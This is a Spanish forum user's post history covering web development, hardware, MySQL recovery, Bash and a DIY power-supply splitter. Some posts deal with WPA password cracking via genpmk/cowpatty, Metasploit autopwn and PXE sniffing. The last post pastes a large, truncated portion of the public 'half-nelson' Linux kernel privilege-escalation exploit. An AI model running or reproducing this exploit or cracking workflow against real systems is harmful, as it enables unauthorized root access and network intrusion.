Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - moikano→@

#1
Desarrollo Web / Nos mas dominos tk
17 Noviembre 2015, 14:49 PM
Vengo a contaros algo que me a pasado con un dominio que tenia con el .tk .

Justo hoy me he dado cuenta al acceder a mi web con el dominio .tk que me salian unas páginas bastante extrañas. Al hacer un debug he encontrado este código.

Supongamos que el dominio es dominiorobado.tk y la ip es 1.1.1.1 .

Código (html) [Seleccionar]
<meta http-equiv="refresh" content="1; URL=http://domain.dot.tk/p/?d=dominiorobado.tk&i=1.1.1.1&c=34&ro=0&ref=unknown&_=1447767750684"/>
    <script type="text/javascript">


Pues básicamente me han inyectado un javascript, legalmente, que hace que todo el tráfico que va hacia mi web se vaya al tráfico que a ellos les de la gana concretamente a los que dan dominios "gratis" en dot.tk.
Y pongo "gratis" así entre comillas porque me han quitado el domino, no aparece en mi cuenta, y si quiero recuperarlo tengo que pagar por el.

Al final, lo barato sale caro, menos mal que mi página no es mi sustento de vida, también si fuera así habría pagado por un dominio, pero de todas formas ahora tengo que perder un tiempo valioso para arreglar el asunto.

La conclusión, si queréis que a la larga no os roben vuestros usuarios y tráfico NO USEIS DOMINIOS .TK porque cuando empeceis a tener un núermo decente de visitas os quitarán el domino y/o os harán pagar por el.

Me imagino que para algunos no es nada nuevo, de hecho parece ser que lo pone en los términos y condiciones de cuando contratas el servicio gratuito, pero escribo esto para que les sirva a los que no lo saben igual que yo, para que no se lleven la misma dececión.
#2
Buenas.

Tengo configurado en un Debian 7 un servidor de correo con Postfix y Dovecot. El antiguo sysadmin dejó el puerto de correo saliente (Dovecto) sin cifrar, es decir, sin certificado ssl. Cuando lo cambié a ssl los correos empezaron a llegar a spam del destinatario, sobretodo en gmail, hotmail y demás.
Antes también pasaba, llegaban algunos correos a spam, pero ahora parece que es siempre.

Mi pregunta es, tiene algo que ver con que el certificado este autovalidado (es decir, no está firmado por ninguna empresa mas que la nuestra) en que nuestro correo siempre vaya a spam.

Y si no es así sabeis como configurar el server para que no vaya tanto correo a spam?


#3
Hardware / Portátil para Linux
25 Septiembre 2015, 16:46 PM
Hola.

Estoy mirándome portátiles para trabajar con Linux ( Preferíblemente Debian ), entornos de desarrollo y con máquinas virtuales.
Lo que busco:
-Marca: a poder ser de gama media/alta. Aunque estoy abierto a otras opciones.
-Pantalla: 15 o 17.
-CPU: A poder ser i7 de 5ª generación.
-RAM: Bastante, unos 16GB
-Gráfica: esta puede ser la mas baja del mercado, no importa mucho.
-Disco duro: indiferente.
-Todo lo demás:indiferente.
-Precio: entre los 1000€ y 1500€

Cuando vaya encontrando alguno que me guste los iré poniendo aquí.

http://www.toshiba.es/laptops/satellite-pro/satellite-pro-r50-b/satellite-pro-r50-b-15z/
http://es.msi.com/product/notebook/PX60-2QD.html#hero-specification

Gracias!
#4
Buenas.

Quería saber si alguien va al congreso y si alguien ha ido que comente que tal está?
#5
Tenemos un problema importante. Nos ha crasheado una tabla de 130GB de fichero MYD y de 30GB de fichero MYI .

Vamos perdidos porque llevamos 5 dias de recoverys fallidos, ya que todos los parámetros del comando myisamchk que usamos parecen no dar en el clavo. Es decir, he intentado hacerlo rápido, asignandole mas RAM al proceso de myisamchk, también asignandole menos RAM y haciendo el proceso mas lento, ninguna de las dos formas funcionó.

También desde una copia de seguridad que teniamos, 8 horas antes de que petara la tabla, lleva 2 dias pasándose, estancada en la query ALTER TABLE tabla ENABLE KEYS.

Tenemos un proceso de myisamchk con la opción -o que es la opción que mas tarda, de hecho lleva 3 dias.

Y todo ello lo tenemos replicado en otros 2 servidores mas potentes por si en el servidor original petaran los recoverys o procesos de insertado del backup.

Es un problema porque no podemos tardar mucho ya que hay clientes esperando los datos.
La solución obvia era particionar la tabla o pasarlo a mongodb directamente, pero los de arriba no le dieron tiempo al programador para pasarlo y al final petó la tabla.

Mi pregunta es, ha alguien le ha pasado lo mismo con una tabla de un tamaño similar? de 100 o mas gigas.

Y las otras dudas serían, que has hecho? Esperar? Una solución alternativa?

Gracias por la atención.
#6
Hola.

Estoy buscando un gestor de contenidos o un modulo de alguno de ellos con el que pueda almacenar informes de información sobre servidores, algo así como hacer una ficha y asignarle una agenda de informes ordenadors cronologicamente.

En caso de no poder ser concretamente, pues un gestor o modulo de gestor que sirva como agenda acisandote al correo de alertas, entrando en el y avisandote también visualmente de tareas,...

He buscado por google,pero no me convence nada, si no encuentro respuesta pora aquí seguiré buscando. En un principio me da igual el gestor de contenidos que tenga que usar.

Gracias.
#7
PHP / Web proxy para usar curl con el
21 Abril 2014, 00:03 AM
Hola.

Alguien conoce una página web tipo GlopyProxy que se pueda usar como proxy en una petición curl en php? es decir en esta opción CURLOPT_PROXY
#8
Buenas.

Tengo una duda sobre customizar los Exceptions.

Estoy trabajando en un software web el cual tiene un webservice. Antes tenia las traducciones de los diferentes errores en las clases intermedias, es decir si la estructura fuera esta: clases internas -> clases intermedias -> clases webservice. Las clases intermedias trabajan con los datos del usuario, por ejemplo, y ahora mismo estás tratan sus errores traducidos mediante una clase interna.

Ahora lo que quiero hacer es un CustomException para que cuando se hagan try captch salgan los errores directamente en le idioma que yo quiero.

Mi pregunta es, es una buena práctica el usar los exceptions de esa forma? es decir, que los errores internos salgan ya traducidos y no se traduzca  en las clases mas cercanas al usuario.

Espero haberme explicado bien y gracias por la ayuda.

#9
Hola.

Tengo que comprar un ordenador a mi hermano para jugar, por supuesto no es para juegos muy potentes, y solo nos queremos gastar unos 500 euros.he visto ordenadores innobo bastante bien de precio, pero no se como es esa marca blanca.

Podrías decirme si habéis tenido experiencias con esta marca y de que tipo?

Gracias.
#10
(Nota mod: No sabia muy bien donde postear, si está mal aquí muéveme donde esté correctamente, gracias)

Hola.

A pesar de haber usado mil veces software open source, instalar infinidad de sistemas GNU/Linux,configurarlos y usarlos,... aún no se muy bien como funcionan las licencias ni cual es la que realmente se puede aplicar a mi software.

Voy a explicaros las características que necesito:

1- El software podrá ser visto por cualquiera que quiera verlo.

2-Cualquiera que vea el código podrá modificarlo y comunicar a los organizadores del equipo de software los cambios y los organizadores podrán elegir implementar el cambio o no.

3-Nadie podrá sacar provecho económico del código. Excepto si el equipo organizador decide que en una versión del mismo proyecto este pasará a dar beneficios económicos ( solo del propio software, no de software derivado).

4-Si se puede copiar el código, pero usandolo bajo la misma licencia Open source ( esto en creative commons si se puede, en OpenSource no lo se)

5-Cualquiera que intervenga en el desarrollo de la versión actual del software o posteriores deberá ser reconocido en los créditos del software.

6- La licencia podrá ser modificada por el equipo organizador en versiones posteriores a la de la implementación de la licencia anterior. (Un poco lioso, básicamente es que si yo le implemento una licencia, pongamos BSD, a la versión 1.0 del software que le pueda poner otra distinta a la versión 2.0)

Y creo que ya está, si algo no puede ser una licencia o hay incompatibilidad entre las condiciones también podéis avisarme, ya que como os digo no conozco nada de la implementación de licencias.

Muchas gracias.

Por cierto, mas o menos el equivalente en Creative Commons seria este:
#11
Hola

Estoy intentando crear un script que conecte a un chat irc, mediante pfsockopen, y que utilize la onionrouting para dicha conexión.

Por supuesto la conexión debe ser persistente (ya que el chat irc envia un ping cada cierto tiempo y yo tengo que devolver un pong, aparte para no tener que loguearme y entrar en el canal para cada lectura y envio ) y por eso creo que curl no me sirve, tiene que ser con pfsockopen y sus derivados para escribir (fwrite,fread,...),

E intentado hacerlo ejecutando el script directamente con torsocks, comando usado para enmascarar una aplicación, la que sea.

No se por donde tirar ahora, estoy atascando haciendo pruebas que no se si van a ningún sitio y sobretodo no encuentro información al respecto en google.

Se me ocurren posibles soluciones, pero no se si son validas o si las hago mal.

posibles soluciones que se me ocurren:

1-Encapsular el socket dentro del curl (no se ni por donde empezar a probarlo y también me parece un poco locura)
2-Pasarle las headers a pelo dentro del socket y conectar directamente con tor, sería escribiendo las contraseñas con write todas seguidas y luego enviar el cuerpo del mensaje ( en este caso los comandos del irc) no se donde exactamente, esta opción me parece excesiva para lo que realmente quiero.
3-Curl si que puede hacer conexiones persistentes (o almenos para irc) y se acaba el problema ya que con curl si que existen tutoriales (?)

Creo que no puede ser tan complicado, no existe libreria para PHP (creo, porque la verdad me parece extraño) así que el camino debe ser ejecutarlo con la aplicación de tor, pero como? si la ejecuto con torsocks el script no ejecuta bien los comandos pfsockopen y por lo tanto no conecta.

Esto perdido, si alguien puede echarme una mano se lo agradeceria.

Gracias por leer.

PD: He estado investigando un poco mas y he descubierto que se puede intentar hacer con socat (una variante de netcat) creando un socket en la misma maquina y haciendo conexión del socket directamente en el puerto que te habrás con socat. No es definitivo, ya que estoy probandolo aún.
#12
PHP / [Mysqli] error al usar una función el objeto
24 Diciembre 2012, 14:30 PM
Hola.

Estoy intentando almacenar el resultado de una consulta en un vector, pero al usar las funciones fetch_arrar(), fetch_row(),... me dan el siguente error.

Fatal error: Call to undefined method mysqli_stmt::fetch_array()

Como si no existieran.

Esto es problema de mi versión de PHP?

Gracias de antemano.
#13
Hola.

Estoy intentando hacer que cada vez que se pasa el ratón por encima de un enlace se cargue una imagen diferente a la que tiene cuando no pasa el ratón por encima.
Pero la función quiero que se utilice para todos los enlaces, pero cada enlace tiene su respectiva imagen con su respectivo nombre, entonces he creado un par de funciones para que se cargue una imagen u otra según el nombre que le pases a la función.

Aquí está el código de la javascript:

Código (javascript) [Seleccionar]

boton_on = new Image();
boton_off = new Image();
function entra_boton(boton){
boton_on.src = "imatges/botons/" + boton + ".png";
boton_off.src = "imatges/botons/" + boton + "b.png";
document.images[boton].src = boton_on.src;
}
function sale_boton(boton){
document.images[boton].src = boton_off.src;
}


y aquí el código del enlace/imagen que tiene que cambiar su aspecto cuando pasa el ratón por encima:

Código (html) [Seleccionar]

<a href = "estudios.php" onmouseover = "entra_boton(boton1)" onmouseout = "sale_boton(boton1)">
      <img src = "imatges/botons/boton1.png" name = "boton1" border="0">
</a>


Bien, pues no me funciona, a ver si alguien puede decirme que pasa.

Gracias de antemano.
#14
Hola.

Estoy haciendo mi primera página añadiendo PHP. Cosa que me está costando porque estoy acomplándolo a html , css y javascript.

El problema esta en que uso includes para definir los marcos de la página, uso un código totalmente html menos en el include() que añado el contenido del marco que es una etiqueta div. Hasta ahí bien, le añado el include() y me muestra solo el div que contiene el include y no el resto de la página escrita en html.

Lo mejor será poner el código.



Página principal index.php

Código (php) [Seleccionar]

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="es" xml:lang="es">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<head>
<link rel="stylesheet" type="text/css" href="style.css" />
<script src="js/jquery-latest.js"></script>
<script language="javascript" type="text/javascript">
<!--
function gif1(){
logo1 = document.getElementById("animaciongif");
logo1.innerHTML = "<img src='imatges/gif/logob22-1.gif' width='150%' height='150%' />";
}
function gif2(){
logo2 = document.getElementById("animaciongif2");
logo2.innerHTML = "<img src='imatges/gif/logor22-1.gif' width='150%' height='150%' />";
}
function gifs(){
gif1();
setTimeout("gif2()", 1800);
}
function inicio(){
gifs();
$('#cont').animate( { height: "500px" }, { queue: false, duration: 3000 });
$('#abajo').toggle(8000);
}
-->
</script>
</head>
<body onload="inicio()">
<?php include("menu_arriba.php"); ?>
<div class="central">
<?php include("logo.php"); ?>
<div id="cont" class="contenido" div id="cont" class="contenido">
</div>
<div iclass="abajologo">
</div>
</div>
<div id="abajo" class="abajo">
<img id="boton1" class="boton1" src="imatges/botons/botonbat1.png"/>
<img id="boton2" class="boton2" src="imatges/botons/batoros1.png"/>
<img id="boton3" class="boton2" src="imatges/botons/bototreballs1.png"/>
<img id="boton4" class="boton2" src="imatges/botons/botoinfo1.png"/>
<img id="boton5" class="boton2" src="imatges/botons/botocontacte1.png"/>
</div>
</body>
<html>




Lo que incluye el primer include que SI funciona: menu_arriba.php

Código (php) [Seleccionar]

<div class="arriba">
<p>Pruebas   Pruebas Pruebas Pruebas Pruebas</p>
</div>



El include que no me muestra nada: logo.php

Código (php) [Seleccionar]

<div class="logo">
<img id="animaciongif"/>
<img id="animaciongif2"/>
</div>



La pregunta es, como lo hago para poder mostrar toda la página con el javascript escrito en la página index y el css?

Gracias de antemano
#15
Hola.

Tengo un portátil ASUS en mis manos y tiene instalado windows 7 (no se que versión).

Cuando se carga windows empieza a reparar el sistema pero nunca acaba. Si le pongo el CD de recuperación se arregla con el reparador de inicio de windows pero al poco tiempo de usar el ordenador salta un pantallazo azul con el siguiente error: PFN_LIST_CORRUP.


Esto puede ser de RAM o de Disco Duro?
#16
Hola.

Estoy intentando redimensionar  una etiqueta "div" al cargar la página, el div debería ir de 0px a 500px en 5 segundos mas o menos.
Lo he intentado con la función "setTimeout" junto con un for y con las propiedades del div. El código es este.


function redim(){
for (i=0; i<=500; i++){
setTimeout("document.getElementById('cont').style.height=i+'px'",1000);
}
}


Es una prueba, si funcionara sería de 0px a 500px en 500 segundos. Pero me carga el div enseguida, no en 500 segundos, pasa de 0px a 500px en menos de un segundo.
Lo he probado en múltiples combinaciones anidando funciones con otras pero no he conseguido que lo haga.

Que hago mal?
#17
Hola. Estoy haciendo una página y me gustaría saber como puedo hacerlo para que (con cófigo HTML y CSS a poder ser, si no con javascript) pudiera cargar un gif antes que otro.

Es decir, en la página hay un logo que está formado por dos gif y quiero que se vea la animación de uno y cuando acabe la animación del otro.

Gracias de antemano.
#18
Hola.

Estoy mirando baterías para cambiársela a un portátil y veo que para el mismo modelo existen diferentes baterías con sus voltajes y amperajes (sin irse mucho unos con otros claro está).

Mi pregunta es, si la batería que tiene ahora el portátil es de 10,8 voltios y 4.200mah es peligroso ponerle otra batería con voltios de 11 voltios y 5200mah?

Y además si solo fuera el amperaje el que variara y el voltaje fuera el mismo también afectaría?

Gracias de antemano.
#19
Saludos

Como el nombre ya indica estoy intentando fundar una cooperativa de informáticos.

Se ya que una cooperativa no es una empresa competitiva, ni para hacerse rico y que en el sistema de mercado actual, y aún mas el tecnológico, si no entras en competición directa con empresas de tu mismo nivel y sector no puedes llegar a tener un beneficio real.

Pero bien, dejando al lado lo establecido, y queriendo ser mas trabajador que empresario, decidimos crear una cooperativa, por su forma de organizarse que es asamblearia y sin ningún tipo de restricciones a nuevas ideas como Jefes, contables, analistas,... que para su función están muy bien pero también ahogan con su forma de pensar conservadora las ideas que pueden hacer crecer una empresa o incluso un país.

Por que explico todo esto? simplemente porque se las diferencias que hay entre una empresa (Sea sociedad limitada, anónima, autónomo con trabajadores,...) y una cooperativa, y que este tema del foro no es para discutir que es mejor para estos tiempos o para una empresa de informática.
Así que quería centrarme en gente que ya se haya involucrado en un proyecto parecido, es decir una cooperativa de informáticos, y que cuente la experiencia que fue o que está siendo.

En la provincia donde vamos a crear la cooperativa es algo nuevo ver que el servicio que se ofrece sea informática y servicios informáticos en general. Se que en Catalunya el cooperativismo siempre a pegado fuerte y que si existen cooperativas de este tipo. Estoy seguro que en el resto de España ( y el mundo, por que no) habrá mas de estos pequeños grupos de trabajadores que nacen de las nuevas tecnologías pero que quieren seguir trabajando en cooperación y no en competición.

Así que os animo a contar vuestras experiencias en este campo.

Cualquier tipo de ayuda, comentario o idea constructiva también es bien recibida.
#20
Hola.

Este problema me costará un poco de explicar, ya que es un caso un poco extraño.

Tengo una carcasa para un disco duro externo que realmente contiene 2 discos duros. Estos discos duros son SATA y de 500GB, juntándolos con la carcasa son 1 disco duro de 1TB, esto lo hace la carcasa mediante software/hardware interno, lo único que tengo que hacer para que lo haga es formatear los discos duros a formato RAW ( es decir, sin formato) y la carcasa se encarga del resto.


Ahora bien, se rompió uno de los discos duros, por lo tanto perdí todos los datos de los dos discos duros, ya que el formato interno que usa la carcasa no se cual es, pero supongo que dividirá los datos en 2 para copiarlo en los 2 discos duros y hacer una especie de RAID0.

Pues estoy intentando recuperar  los datos del disco duro (Con el Aesus Recovery nunca me ha fallado en recuperación de datos) que no está roto y estoy recuperando unos datos que no son, porque antes, ese disco duro, se uso en solitario y contenía un sistema operativo y todos sus archivos.

A lo que voy, quiero recuperar los datos de cuando los discos duros estaban juntos, se que todos los datos es imposible de recuperar pero al menos la mitad que corresponde al disco duro que si que funciona, :-\, no se si se podrá hacer pero por eso mismo pregunto.

Espero haberme explicado bien y gracias por leer.

#21
Hola.

Hace un tiempo hice un script el cual podía ejecutar un comando para que se abriera en otra shell.
Pues bien, ahora quería saber si se puede hacer lo mismo pero abriendo otra pestaña en cada comando que yo utilice.

Este es el código que utilizaba para abrir nuevas shells:

gnome-terminal -x bash -c "ls /root" & ;;

Entonces este abrirá una nueva shell con el resultado de "ls /root". Lo que busco yo es que al hacerle esto me abra una nueva shell y en esa shell yo puede abrirle mas pestañas con diferentes comandos.

Se puede?
#22
Hola.

Estoy intentando guardar los nombres de los archivos de una carpeta, haciendo un $ls <ruta carpeta>, en variables para luego utilizarlos.

Los nombres de los archivos tienen que ser sin extensión.

He estado probando pero no me aclaro, copie un código y fui modificando-lo hasta conseguir algo parecido a lo que pretendía tener, pero no lo consigo del todo.

El trozo de código es este:

#!/bin/bash
ruta=$(ls /home/moikano/Escritorio/ejerciciscript/videos/)
base="${ruta%%.*}"
ruta="${ruta##.*}"
ruta="${ruta%.*}"
base2="${ruta##.*}"
echo $base $base2


La salida del código es:
capitul2 capitul2.avi capitul

La salida que yo quisiera tener:
Citarcapitul2 capitul

Esto es lo máximo que he podido sacar, supongo que al final valdrá únicamente si hay 2 archivos, es decir, si la carpeta contiene mas de 2 archivos el script ( cuando este acabado y funcionando) no funcionará como debe ya que solo cojera 2 nombres de archivos.

Por si acaso os pongo la salida del comando:
$ls /home/moikano/Escritorio/ejerciciscript/videos/
Es:
capitul2.avi capitul.avi


Y si alguien pudiera remitirme a un manual o tutorial donde explicarán como se usan los parámetros ${variable%%.*} para modificar cadenas se lo agradecería.
#23
Hola.

Estoy empezando con javascript, (no se si esto va aquí o en scripting, creo que aquí) y se me plantea una duda, según he leído por ahí con javascript no se pueden enviar correos, pero en otras páginas escriben códigos con los que si se pueden pero combinando con html.

Ahora bien, mi pregunta es....  puede poner una ventana de introducción de datos para guardar los datos introducidos y luego enviármelos por correo ya sea por javascript o por html?

Algo parecido a esto:

Código (javascript) [Seleccionar]

<script language="javascript" type="text/javascript">
var usuario
usuario = prompt('Introduce el usuario',' ')
usuario = mailto:ejemplo@ejemplo.com
</script>


Por supuesto esto no serviría, pero es por poner un ejemplo práctico.

Gracias de antemano.
#24
Se podría esnifar las contraseñas del protocolo PXE?

En un principio creo que no, porque el PXE solo inicia la conexión entre el servidor y cliente para que el servidor le envíe los datos al cliente para poder conectarse a el, y supongo que una vez cargados los paquetes para poder loguearse ya va todo cifrado y con claves RSA.

Bueno no se, y por eso mismo pregunto.

Lo probaré con dsniff y ethercap.

Si alguien lo ha probado que me saque de dudas.
#25

Introducción

Hace unas semanas que estoy pensando que hacer con mis placas base viejas, fuentes, discos duros,...
Así que decidí hacer un cluster, mas que nada por aprender y darles una oportunidad a estos materiales de volver a ser útiles.

Uno de los problemas que se me plateaba es que, aparte de que tengo mas fuentes de alimentación que placas, el consumo de este cluster iba a ser alta, ya que por cada placa se debería usar una fuente.

Por esa misma razon decicí intentar conectar 2 placas base con una fuente y así reducir a la mitad el uso de fuentes de alimentación ( mas adelante igual me planteo el intentarlo con 3 placas a una fuente).





Comprar uno hecho

Está opción es totalmente valida, ya que hay muchos splitters por la red en tiendas de informática e electrónica. No son nada caros, 15 $ o por ahí.





Haciendolo casero

Si decidimos crearlo nosotros y ahorrarnos dinero (muy poco dinero) o simplemente aprovechar materiales sin un uso útil y fomentar la reutilización (la mejor forma de reciclar) de componentes, entonces sigue leyendo.





Preparandonos

Necesitaremos los siguientes materiales:

1- Conector hembra ATX 20  (o 24 según el tipo de placa y fuente que queramos splittear) sacado de una placa base vieja o rota.
2- Conectores macho ATX sacados de dos fuentes de alimentación rotas.
-Estaño para soldar.
-Tubitos termoretráctiles para los cables.

Necesitaremos las siguientes herramientas:

1-Desoldador de estaño, ya sea de pera, de válvula o eléctrico,...
1-Soldador de estaño, la potencia la dejo a tu habilidad, yo use uno de 30w.
1-Pinzas de soldadura, las que mas os gusten para facilitar el trabajo.





Pasos a seguir para el montaje

1- Desoldaremos el conector hembra de la placa base usando el desoldador. Hay que tener paciencia si las soldaduras no se limpian de estaño facilmente, ya que son 20 y costará que todas estén limpias para que al despegar el conector salgan todas bien.

2- Desmontamos la fuente de alimentación hasta llegar a la placa. Una vez en la placa cortaremos con unos alicates los cables del conector macho que van soldados a la placa, también se pueden desoldar, eso cada uno como lo prefiera.

3- Soldaremos los cables de los dos conectores macho, fijándonos bien en los colores y las posiciones de los cables, ya que deben coincidir. Cuando estén soldados se pueden comprobar con un multímetro (la opción de conexión por sonido o luz) para ver que las conexiones están bien hechas.

4- Soldaremos los cables juntos de los dos conectores machos a los pines del conector hembra. Fijándonos bien de que coinciden los colores de los cables con la posición. Aquí añadiremos el tubo termoretráctil en cada cable para evitar conexiones indeseadas.

5- Finalmente le añadiremos unas bridas para que se lien menos los cables.
Comprobaremos con el multímetro que las conexiones del conector hembra llegan a los dos machos correctamente y luego una vez conectado a la fuente comprobaremos que los voltajes son los correctos en los dos conectores.

Mas o menos debería quedar como en esta foto.




Tengo un PDF creado por mi con los pasos explicados con fotos, si a alguien le interesa solo tiene que pedirlo.

Se aceptan criticas, tanto positivas como negativas, así como mejoras, comentarios,... todo ello es bienvenido.



Por cierto, todo esto viene de una pregunta que formule en otro hilo del foro ( en el de hardware) , os dejo un enlace por si queréis echarle un vistazo.

http://foro.elhacker.net/hardware/fuente_alimentacion_conectar_dos_o_mas_placas_base_en_la_misma_fuente-t349242.0.html



#26
Hola

Estoy intentando montar un cluster de varios ordenadores viejos para que puedan trabajar al unisono para un calculo mas rápido en la obtención de contraseñas WPA.

Como he leído por la red que hay varios tipos  de clusters recurro a este subforo para ver si alguien ya ha hecho esto mismo y puede aconsejarme que tipo de cluster busco para montar, con que SO en los nodos, con que SO en el server.

De momento me decanto por openmosix y los nodos sin disco duro, que se conecten por PXE al servidor.

Gracias de antemano.
#27
Estoy intentando recopilar información para montar un pequeño cluster con varios ordenadores.

Ahora mismo estoy con lo primero, el hardware y pensando un poco en la cantidad de energía que pueden utilizar 4 fuentes de alimentación ( para 4 nodos del cluster) es demasiada para el uso que le voy a dar al cluster.

Mirando por google encontré en la página web de bulma (http://bulma.net/body.phtml?nIdNoticia=1708
) que habían creado un cluster y una de las cosas que tenían en cuenta era esto mismo. Es un poco viejo el post, del 2003, pero eso no debe de haber cambiado mucho.

Os dejo una foto de lo que hicieron con las fuentes de alimentación.



Bien, yo ahí veo que tienen como una plaquita para doblar la señal. Alguien podría decirme si eso eso cierto y como puedo conseguir algo así?

De no poder conseguir la placa o se difícil de encontrar podría soldar varios conectores ATX en uno? siempre y cuando controlara el voltaje consumido por todas las placas a la vez.

Gracias de antemano

#28
Hola

El otro día actualice el metasploit con el msfupdate, me pareció que actualizó correctamente, pero hoy, al intentar hacer un ataque por base de datos y utilizar el autopown para enviar los exploits al host me encuentro con que el autopown no existe.


Es decir, mi salida de "help" en la consola de metasloit no me muestra el comando "db_autopwn" y pruebo a ponerlo y me dice que el comando no existe.

Esto me a ocurrido con 2 equipos diferentes al actualizar a la última versión.

Que puede haber sido?

Gracias de antemano

PD: Por lo que he leído se ve que han quitado el "autopwn" en la última versión, porque estaba desatendido y además podía dar problemas en el sistema cuando estaba en "default mode", que era siempre que no se configurará claro.

Alguien sabe si se puede activar?
#29
Hola

Estoy intentando precomputar un diccionario de 2,6 Gb con el gepmk para usarlo con el cowpatty, pero me escribe el siguiente error al poner el siguiente comando:

Citarroot@brutus:/home/brutus/diccionarios# genpmk -f Diccionarios-WPA.info.dic -d precomputados/wlan_aaa0_WPA -s WLAN_AAA0
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
fopen: Value too large for defined data type

Sabéis si el genpmk tiene un tamaño concreto que puede precomputar, o es otro tipo de errror?

Gracias de antemano.

PD: Podría ser que no me quedara espacio en el disco duro? Necesita mas espacio para crear el diccionario precomputado que el diccionario de palabras?
#30
Hola

Nuevamente estoy intentando compilar un exploit llamado half-nelson, es el siguiente código:

/*
* half-nelson.c
*
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
*
*   Stack-based buffer overflow in the econet_sendmsg function in
*   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
*   econet address is configured, allows local users to gain privileges by
*   providing a large number of iovec structures.
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
*
*   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
*   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
*   allows local users to bypass intended access restrictions and configure
*   econet addresses via an SIOCSIFADDR ioctl call.
*
*   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
*
*   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
*   initialize certain structures, which allows local users to obtain
*   potentially sensitive information from kernel stack memory.
*
* Usage:
*
*   $ gcc half-nelson.c -o half-nelson -lrt
*   $ ./half-nelson
*   [+] looking for symbols...
*   [+] resolved symbol commit_creds to 0xffffffff81088ad0
*   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
*   [+] resolved symbol ia32_sysret to 0xffffffff81046692
*   [+] spawning children to achieve adjacent kstacks...
*   [+] found parent kstack at 0xffff88001c6ca000
*   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
*   [+] lower child spawning a helper...
*   [+] lower child calling compat_sys_wait4 on helper...
*   [+] helper going to sleep...
*   [+] upper child triggering stack overflow...
*   [+] helper woke up
*   [+] lower child returned from compat_sys_wait4
*   [+] parent's restart_block has been clobbered
*   [+] escalating privileges...
*   [+] launching root shell!
*   # id
*   uid=0(root) gid=0(root)
*
* Notes:
*
*   This exploit leverages three vulnerabilities to escalate privileges.
*   The primary vulnerability is a kernel stack overflow, not a stack buffer
*   overflow as the CVE description incorrectly states. I believe this is the
*   first public exploit for a kernel stack overflow, and it turns out to be
*   a bit tricky due to some particulars of the econet vulnerability. A full
*   breakdown of the exploit is forthcoming.
*
*   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
*/

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>

#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192

#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5

#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32

#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3

#ifndef PF_ECONET
#define PF_ECONET      19
#endif

#define STACK_OFFSET   6
#define RESTART_OFFSET 40

struct ec_addr {
   unsigned char station;
   unsigned char net;
};

struct sockaddr_ec {
   unsigned short sec_family;
   unsigned char port;
   unsigned char cb;
   unsigned char type;
   struct ec_addr addr;
   unsigned long cookie;
};

struct ipc64_perm {
   uint32_t key;
   uint32_t uid;
   uint32_t gid;
   uint32_t cuid;
   uint32_t cgid;
   uint32_t mode;
   uint16_t seq;
   uint16_t __pad2;
   unsigned long __unused1;
   unsigned long __unused2;
};

struct semid64_ds {
   struct ipc64_perm sem_perm;
   unsigned long sem_otime;
   unsigned long __unused1;
   unsigned long sem_ctime;
   unsigned long __unused;
   unsigned long sem_nsems;
   unsigned long __unused3;
   unsigned long __unused4;
};

union semun {
   int val;
   struct semid_ds *buf;
   unsigned short *array;
   struct seminfo *__buf;
};

struct region {
   unsigned long parent;
   unsigned long addrs[NPROC];
};
struct region *region;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
 
void __attribute__((regparm(3)))
kernel_code(void)
{
   commit_creds(prepare_kernel_cred(0));
}

void
payload_parent(void)
{
   asm volatile (
       "mov $kernel_code, %rax\n"
       "call *%rax\n"
   );
}

void
payload_child(void)
{
   asm volatile (
       "movq $payload_parent, (%0)\n"
       "jmpq *%1\n"
       :
       : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
   );
}

unsigned long
get_kstack(void)
{
   int i, size, offset;
   union semun *arg;
   struct semid_ds dummy;
   struct semid64_ds *leaked;
   char *stack_start, *stack_end;
   unsigned char *p;
   unsigned long kstack, *ptr;

   /* make sure our argument is 32-bit accessible */
   arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
   if (arg == MAP_FAILED) {
       printf("[-] failure mapping memory, aborting!\n");
       exit(1);
   }

   /* map a fake stack to use during syscall */
